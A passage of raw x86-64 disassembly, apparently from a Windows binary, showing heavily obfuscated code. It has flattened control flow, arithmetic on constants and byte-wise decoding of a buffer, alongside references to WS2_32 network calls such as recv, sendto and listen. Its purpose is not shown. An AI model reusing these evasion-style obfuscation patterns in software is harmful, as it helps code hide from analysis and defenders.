add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x18]
jmp 0x14007cb66
movabs rcx, 0xea84310ac33e1c12
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
cmp r9, 0x64
jae 0x14007ca0c
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x14007c91c
movabs rdx, 0xbdf973d7a04afffc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
jmp 0x14007c46c
movabs rcx, 0x62c2ca506e298c76
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
lea rax, [r8 + r9]
cmp rax, 1
je 0x14007ca3c
lea rax, [r8 + 0x20]
cmp r9, rax
jbe 0x14007c862
movabs rdx, 0x2c8abd3322f31c16
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007c4c4
movabs rdx, 0x689847daf00f5764
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
movabs rcx, 0xe0d6e1209afac7c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14007cce4
movabs rcx, 0x59157a6645e6382c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x14007ccb2
movabs rdx, 0xd15413abf0d1a890
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rdx, 0x4992acf19bbd18f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rcx, 0xc1d1463746a88958
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x14007cbdd
movabs rcx, 0x3a0fdf7cf193f9bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
dec rdi
inc rdi
jmp 0x14007bf62
movabs rdx, 0xb24e78c29c7f6a20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x14007bf62
movabs rdx, 0x2a8d1208476ada84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cb66
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x14007c723
movabs rdx, 0x43e0b35d2a8a47ce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007c515
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14007c765
movabs rdx, 0x22dd6d48faafc7cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
inc rax
cmp r9, rax
jne 0x14007c795
movabs rdx, 0xaa9ed4034fc45768
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cce4
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14007c7c6
movabs rdx, 0xc9a46eeca41695d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cbdd
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14007c7f8
movabs rcx, 0x5165d5a6f92b2574
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x14007bf62
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007c82d
movabs rcx, 0xd9273c614e3fb510
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc r8
dec rdi
inc rdi
jmp 0x14007bf62
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14007c515
movabs rdx, 0x60e8a31ba35444ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cb66
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14007c893
movabs rdx, 0xb44c23ed7807abb2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cb66
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14007c8b0
movabs rdx, 0xd351bed6cc59ea22
mov ecx, 9
jmp 0x14007cc29
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007c8ec
movabs rcx, 0x5b132591216e79be
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14007c4c4
movabs rcx, 0xe2d48c4b7683095a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
jmp 0x14007ccb2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14007c959
movabs rcx, 0x45bada91f55f8f98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
inc rax
cmp r9, rax
jne 0x14007c999
movabs rdx, 0xdcff0ec0f49d3e6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14007c9d8
movabs rcx, 0x64c0757b49b1ce08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14007c478
movabs rdx, 0x83c610649e040c78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x14007cb66
movabs rdx, 0x9348ddd9482d2bb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xc40]
add r11b, dl
add r11b, bl
jmp 0x14007cbdd
movabs rcx, 0x1b0a44939d41bb4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xc40]
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x14007ccb2
movabs rdx, 0x573b53317b10f062
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
movabs rcx, 0x47b885bcd0e7d12a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
jmp 0x14007ccb2
movabs rdx, 0xbff71f027bd3418e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rcx, 0x28b2ead37c9592ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
dec rdi
inc rdi
jmp 0x14007bf62
movabs rdx, 0x19301d5ed26c7382
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007cb66
movabs rcx, 0x9ad4fea2843544a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
movabs rcx, 0x4f682a7c1da2e3e2
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x2e
add bl, cl
mov byte [rbp + rdi + 0xc40], bl
inc r8
dec rdi
inc rdi
jmp 0x14007bf62
movabs rcx, 0xfa2a82757e1a3512
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7e
dec rdi
inc rdi
jmp 0x14007bf62
movabs rcx, 0x72691bbb2905a576
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
movabs rcx, 0xd729913672b7737e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x72
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xc40], cl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rdx, 0xeaa7b500d3f115da
mov ecx, 5
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
movabs rdx, 0x62e64e467edc863e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007bf62
mov rbx, r10
movabs rcx, 0xdb24e78c29c7f6a2
add rcx, rdi
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x6e
add r11b, cl
movabs rdx, 0x5eeaf7f0c7cc031a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xc40], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0xa2cbab4df2564ae8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x58
add bl, cl
mov byte [rbp + rdi + 0xc40], bl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
movabs rdx, 0xcba21a177f9ed76a
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc40]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14007bf62
movabs rcx, 0x43bd2f6719d74e06
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x14007bf5e
movabs rdx, 0xbbfbc8acc4c2be6a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007bf49
lea rcx, [rbp + 0x1684aa8]
jmp 0x14007cdc6
lea rcx, [rbp + 0x1329276]
jmp 0x14007cdc6
lea rcx, [rbp + 0xc40]
mov rdx, rsi
call fcn.140035c60
lea rcx, str.Settings
call fcn.140036770
lea rdx, [0x140228220]
lea rcx, [rbp + 0x598]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc20
mov r15, rax
movsxd rcx, dword [rax]
lea r14, str.Head
mov r12, qword [r14 + rcx*8]
mov byte [rbp + 0xc68], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xc69], 0xe0
mov byte [rbp + 0xc6a], 0xfc
mov byte [rbp + 0xc6b], 0xe8
mov byte [rbp + 0xc6c], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0xc6d], reloc.WS2_32.dll_listen
mov byte [rbp + 0xc6e], 0xff
mov byte [rbp + 0xc6f], 0xed
mov byte [rbp + 0xc70], 0xe2
mov byte [rbp + 0xc71], 0x59
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc72], xmm0
mov qword [rbp + 0xc82], rax
mov byte [rbp + 0xc8a], al
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor esi, esi
movabs r11, 0xb21ce9bad8ad68f3
movabs rbx, 0x6fb1b1f2b229263d
movabs rcx, 0x9c5f2c53c6399bef
cmp rsi, 0x23
jae 0x14007daca
movzx edi, byte [rbp + rsi + 0xc68]
mov edx, edi
cmp r8, rsi
ja 0x14007dac1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007cefa
lea rcx, [rsi + r11]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x5b
movabs rcx, 0x9c5f2c53c6399bef
jmp 0x14007cf40
je 0x14007da3c
inc rax
cmp r8, rax
je 0x14007d9d3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d9a0
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007d93b
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007d919
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007d8c1
cmp r9, rsi
ja 0x14007dab8
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x14007cf6e
lea rdx, [rsi + rcx]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x77
add r10b, dl
jmp 0x14007cf95
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007d8a0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007d875
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d83d
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14007d447
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007d421
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007d3f6
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007d3be
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007d389
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007d360
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007d32a
mov r8, rax
lea r9, [rax + 0x80]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007da94
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007da70
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007d0dc
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007d2cb
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007d25c
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14007d22c
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007cfb0
mov r8, rax
lea r9, [rax + 0x28]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007d1f2
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007d1ce
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007d1a8
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007d170
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007d141
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007d10e
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007cfb0
mov r8, rax
lea r9, [rax + 0x5a]
jmp 0x14007cfb0
movabs rdx, 0x517914fdf4cd2a0b
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x4d
add r10b, dl
movabs rcx, 0x9c5f2c53c6399bef
jmp 0x14007cf40
movabs rcx, 0x7ebf8f2880720d92
add rcx, rsi
movzx eax, dil
and al, cl
mov r10d, 1
sub r10b, al
add r10b, r10b
add r10b, dil
add r10b, cl
inc r9
dec rsi
inc rsi
jmp 0x14007ce92
movabs rdx, 0x1a85bbb2cf173bac
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec rsi
inc rsi
jmp 0x14007ce92
movabs rcx, 0x521214c76c6197e0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
movabs rdx, 0x899e6ddc09abf414
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14007d805
movabs rcx, 0x25649a665851222e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x42
jmp 0x14007d9f2
movabs rdx, 0xc12ac6f0a6f65048
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
movabs rcx, 0x469a364a6b934389
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x41
mov byte [rbp + rsi + 0xc68], r10b
inc rsi
jmp 0x14007ce92
movabs rcx, 0x7e268f5f08dd9fbd
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x2b
add r10b, cl
cmp r8, 1
jae 0x14007d7ad
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d6a7
movabs rcx, 0x717cb14f18e66fbc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x24
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
movabs r10, 0x19ecbbe95782cdd7
add r10, rsi
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
add r10b, 0x1f
add r10b, dil
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x14007d7dd
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14007d55e
movabs rcx, 0x70e3b185a15201e7
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x51
jmp 0x14007d27f
movabs rcx, 0xaa3b09f6a559a79a
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x36
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
movabs rdx, 0x46013680f3fed5b4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14007d9f2
movabs rcx, 0x7d8d8f95914931e8
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x58
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
movabs rcx, 0x1953bc1fdfee6002
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0xe
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
movabs rcx, 0x50e015347d38bc36
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x7a
dec rsi
inc rsi
jmp 0x14007ce92
movabs rdx, 0x886c6e491a83186a
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14007d8e1
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007d474
movabs rcx, 0xb21ce9bad8ad68f3
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x5b
jmp 0x14007d2eb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d4b3
movabs rcx, 0x38be58a78c7337de
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x12
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007d4f4
movabs rcx, 0xc9a5a67e51de7f76
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x3a
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d523
movabs rdx, 0x2ddf79f40339515c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14007d95b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007d2eb
movabs rcx, 0xf65320df65eef528
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x18
inc r9
dec rsi
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d58c
movabs rdx, 0xd51d84fb52acd3cd
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x65
jmp 0x14007d8e1
inc rax
cmp r8, rax
jne 0x14007d5c2
movabs rcx, 0x395758710407a5b3
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x1b
inc r9
dec rsi
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007d5f5
movabs rcx, 0x9d912be6b5627799
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2f
dec rsi
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007d636
movabs rcx, 0x6604d2d218181b65
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x3d
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d664
movabs rdx, 0x2e7879bd7acdbf31
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x57
jmp 0x14007d805
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007d27f
movabs rcx, 0xf6ec20a8dd8362fd
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x15
movzx eax, byte [rbp + rsi + 0xc68]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d6e5
movabs rcx, 0x9e2a2bb02cf6e56e
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 2
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007d714
movabs rdx, 0x669dd29b8fac893a
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14007d95b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007d74b
movabs rcx, 0x2f117986f2622d06
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x2a
inc r9
dec rsi
inc rsi
jmp 0x14007ce92
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007d779
movabs rdx, 0x934b4cfca3bcfeec
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x74
jmp 0x14007d8e1
cmp r9, 0x7a
jb 0x14007d24c
movabs rdx, 0xf78520725517d0d2
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x7c]
jmp 0x14007d8e4
movabs rdx, 0x5bbef3e80672a2b8
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx r10d, byte [rbp + rsi + 0xc68]
sub r10b, al
sub r10b, 8
add r10b, dl
add r10b, dil
jmp 0x14007d95e
movabs rdx, 0xbff8c75db7cd749e
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, byte [rbp + rsi + 0xc68]
sub r10b, 0x52
add r10b, dl
movabs rcx, 0x7215b118907add91
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 9
add cl, dil
movzx eax, cl
mov byte [rbp + rsi + 0xc68], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x14007d9f2
movabs rcx, 0x91804da03cffb56d
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 5
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
movabs rcx, 0xc90ca6b4da4a11a1
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x67
dec rsi
inc rsi
jmp 0x14007ce92
movabs rcx, 0x98ffc977946dd5
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x2d
jmp 0x14007d8e4
movabs rdx, 0x382558de14deca09
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x3f
add r10b, dl
movabs rcx, 0xa9a20a2d2dc539c5
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x63
add dil, cl
mov byte [rbp + rsi + 0xc68], dil
inc r9
dec rsi
inc rsi
jmp 0x14007ce92
lea rcx, [rsi + rbx]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x55
dec rsi
inc rsi
jmp 0x14007ce92
movabs rdx, 0xb77de7d00ce5457
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x61
add r10b, dl
movabs rdx, 0xddbdda2df200bab
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x53
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xc68], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
movabs rcx, 0x430437919e18b08b
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdi + rcx]
add r10b, 0x33
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007ce92
movabs rcx, 0x7a9090a63b630cbf
add rcx, rsi
and dl, cl
add dl, dl
movzx r10d, dil
sub r10b, dl
sub r10b, 0x39
add r10b, cl
movabs rdx, 0x24329ad369284684
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
